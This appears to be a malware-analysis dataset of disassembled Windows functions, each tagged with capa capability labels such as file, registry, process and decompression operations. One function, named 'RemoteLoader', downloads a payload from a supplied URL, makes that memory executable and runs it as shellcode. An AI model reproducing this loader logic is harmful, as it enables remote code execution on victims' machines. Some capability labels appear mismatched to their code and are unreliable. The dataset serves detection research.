joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003b1b4
Capabilities:
Move file

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x14003b1d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov ecx, eax
call fcn.1400444a8
add rsp, 0x20
pop rbx
ret

Function at 0x14003b1e0
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14003b203
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov ecx, eax
call fcn.1400444a8
add rsp, 0x20
pop rbx
ret

Function at 0x14004b714
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
mov rdi, r9
mov rsi, r8
mov rbx, rcx
lea rcx, [rsp + 0x40]
call fcn.140004268
nop
cmp rbx, 0xffffffff80000000
jne 0x14004b7a0
call fcn.140026d54
cmp eax, 1
jne 0x14004b7a0
lea r8, [rsp + 0x40]
lea rdx, str.SoftwareClasses_
lea rcx, [rsp + 0x20]
call fcn.140006e34
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400057d4
nop
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14004b799
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
mov rbx, 0xffffffff80000001
mov r9, rdi
mov r8, rsi
mov rdx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x14004b7d7
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14004b7ec
Capabilities:
Set registry value

Disassembly:
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rsi
mov rdi, r9
mov esi, r8d
mov rbx, rcx
lea rcx, [rsp + 0x50]
call fcn.140004268
nop
cmp rbx, 0xffffffff80000000
jne 0x14004b878
call fcn.140026d54
cmp eax, 1
jne 0x14004b878
lea r8, [rsp + 0x50]
lea rdx, str.SoftwareClasses_
lea rcx, [rsp + 0x30]
call fcn.140006e34
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400057d4
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14004b871
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.oledlg.dll_OleUIBusyA]
mov rbx, 0xffffffff80000001
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], eax
mov r9, rdi
mov r8d, esi
mov rdx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x14004b8b7
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140050c78
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140055088
nop
cmp dword [0x1400957d8], 1
je 0x140050c24
mov dword [0x1400957d4], 1
mov byte [0x1400957d0], r12b
test ebx, ebx
jne 0x140050c10
mov rcx, qword [0x140097a78]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140050bfd
mov rcx, qword [0x140097a70]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140050b9c
call fcn.1400546b8
cmp qword [rdi], rax
jne 0x140050b9c
jmp 0x140050b82
cmp rdi, rsi
jb 0x140050bfd
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.1400546b8
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140097a78]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140097a70]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140050bdb
cmp r13, rax
je 0x140050bfb
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140050b82
lea rdx, [0x140069040]
lea rcx, [0x140069028]
call fcn.1400509cc
lea rdx, [0x140069050]
lea rcx, [0x140069048]
call fcn.1400509cc
nop
test r12d, r12d
je 0x140050c33
mov ecx, 8
call fcn.140054f88
test r12d, r12d
jne 0x140050c5e
mov dword [0x1400957d8], 1
lea ecx, [r12 + 8]
call fcn.140054f88
mov ecx, r15d
call fcn.140050960
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140050aec

Function at 0x140050c84
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140050aec
Function at 0x1400544d3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400903a0]
jne 0x14005076a
rol rcx, 0x10
test cx, 0xffff
jne 0x140050766
repz ret
ror rcx, 0x10
jmp 0x14005442c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400958a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140095998]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400544b1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400958a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400544d3
mov rax, qword [rsp + 0x88]
mov qword [0x140095998], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140095938], rax
mov rax, qword [0x140095998]
mov qword [0x140095810], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140095920], rax
mov dword [0x140095800], 0xc0000409
mov dword [0x140095804], 1
mov rax, qword [0x1400903a0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400903a8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140095898], eax
mov ecx, 1
call fcn.14005c540
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400776e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140095898], 0
jne 0x14005455a
mov ecx, 1
call fcn.14005c540
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14005c5e4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400546b8
xor ebx, ebx
mov rdi, rax
cmp qword [0x1400965e0], rbx
jne 0x14005c6ea
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14005c7bf
lea rdx, [0x1400788f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14005c7bf
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1400788e0]
mov rcx, rsi
mov qword [0x1400965e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1400788c8]
mov rcx, rsi
mov qword [0x1400965e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x1400965f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140096600], rax
test rax, rax
je 0x14005c6e1
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x1400965f8], rax
jmp 0x14005c6f1
mov rax, qword [0x1400965f8]
jmp 0x14005c6f8
mov rax, qword [0x1400965f8]
mov r11, qword [0x140096600]
cmp rax, rdi
je 0x14005c760
cmp r11, rdi
je 0x14005c760
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140096600]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14005c760
test rax, rax
je 0x14005c760
call rsi
test rax, rax
je 0x14005c75a
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14005c75a
test byte [rsp + 0x38], 1
jne 0x14005c760
bts ebp, 0x15
jmp 0x14005c79e
mov rcx, qword [0x1400965e8]
cmp rcx, rdi
je 0x14005c79e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14005c79e
call rax
mov rbx, rax
test rax, rax
je 0x14005c79e
mov rcx, qword [0x1400965f0]
cmp rcx, rdi
je 0x14005c79e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14005c79e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400965e0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14005c7bf
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14005c7c1
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140a66058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140a661df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a66089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a6606f
add dl, dl
jne 0x140a66096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a660f6
xor eax, eax
add dl, dl
jne 0x140a660a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a661ad
add dl, dl
jne 0x140a660b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a660c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a660d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a660dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a660ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a6607e
mov eax, 1
add dl, dl
jne 0x140a66106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a66113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a660fb
sub eax, ebx
mov ebx, 1
jne 0x140a6614c
mov ecx, 1
add dl, dl
jne 0x140a6612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a6613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a66123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a6607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a66168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a66175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a6615d
cmp eax, 0x7d00
jae 0x140a6619b
cmp eax, 0x500
jb 0x140a66196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a6607e
cmp eax, 0x7f
ja 0x140a6619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a6607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a661d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a6607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140007220
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x1400072b0
jmp 0x14000729f
jae 0x140007370
cmp r8, 0x201
jae 0x1400072b0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140007308
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x1400072df
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.14001ed50
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140007331
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400073d8
mov r8d, r14d
cmp r15, r8
jne 0x140007290
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400073fb
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000729f
jmp 0x1400072b0
cmp rsi, r8
jb 0x140007415
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140009a50
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x1400073c1
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.140001fe0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x1400073a9
jmp 0x1400073c1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14001fdd0
jmp 0x14000742a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140020220
ud2
Function at 0x14000eb70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140023ee8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000ebb4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000ec1a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000ec51
test eax, eax
js 0x14000ec2b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000ec44
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140009700
mov rcx, rax
call fcn.140005280
mov ecx, 7
int 0x29
ud2
Function at 0x14001cb60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001cbda
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001cbd0
cmp r11, r10
ja 0x14001cc73
cmp r10, rdx
ja 0x14001cc87
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001cbd2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001cbb0
jmp 0x14001cc47
ja 0x14001cbda
mov r11, r10
cmp rax, r8
jne 0x14001cb82
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001cc4b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001cc20
mov r8, r10
sub ecx, r9d
jns 0x14001cc3e
jmp 0x14001cc4d
cmp r10, rdx
je 0x14001cc59
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001cc4d
xor al, 1
cmp r8, rdx
jne 0x14001cc00
jmp 0x14001cc4d
xor eax, eax
jmp 0x14001cc4d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14001fdd0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400202a0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140020220
ud2

Function at 0x14001e710
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001e75a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001e75a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001e75a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001e75a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001e75a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001e75c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x30
mov rbx, rdx
cmp ecx, 2
jl 0x14000111f
xor ebp, ebp
lea rcx, str.RemoteLoader
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x14000111f
mov rdx, qword [rbx + 8]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor r8d, r8d
mov rcx, rax
mov dword [rsp + 0x20], 0x8408f200
mov qword [rsp + 0x58], rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
jne 0x140001081
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x58]
lea eax, [rbp - 1]
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
xor r9d, r9d
mov dword [rsp + 0x50], ebp
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rbp
mov edx, 0x20000005
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1400010fe
mov ebx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400010fe
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x60]
mov rdx, rax
mov dword [rsp + 0x60], ebp
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400010fe
cmp dword [rsp + 0x60], ebp
je 0x1400010fe
mov edx, dword [rsp + 0x50]
xor r9d, r9d
mov rcx, rbx
lea r8d, [r9 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
mov eax, 0xffffffff
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
Function at 0x140002168
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400021b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400021b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400021b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400021b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400021b4
xor al, al
add rsp, 0x28
ret

Function at 0x14000ac7c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000aa6c
Function at 0x1400101d4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140010204
xor eax, eax
jmp 0x1400102c7
mov rbp, rbx
cmp word [rax], si
je 0x140010229
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140010210
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001020c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140010124
movsxd r14, eax
test eax, eax
jne 0x140010267
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400101fd
mov rcx, r14
call fcn.14000c848
mov rdi, rax
test rax, rax
jne 0x140010280
xor ecx, ecx
call fcn.14000bb58
jmp 0x14001025c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140010124
test eax, eax
jne 0x1400102b1
mov rcx, rdi
call fcn.14000bb58
jmp 0x1400102bb
xor ecx, ecx
call fcn.14000bb58
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret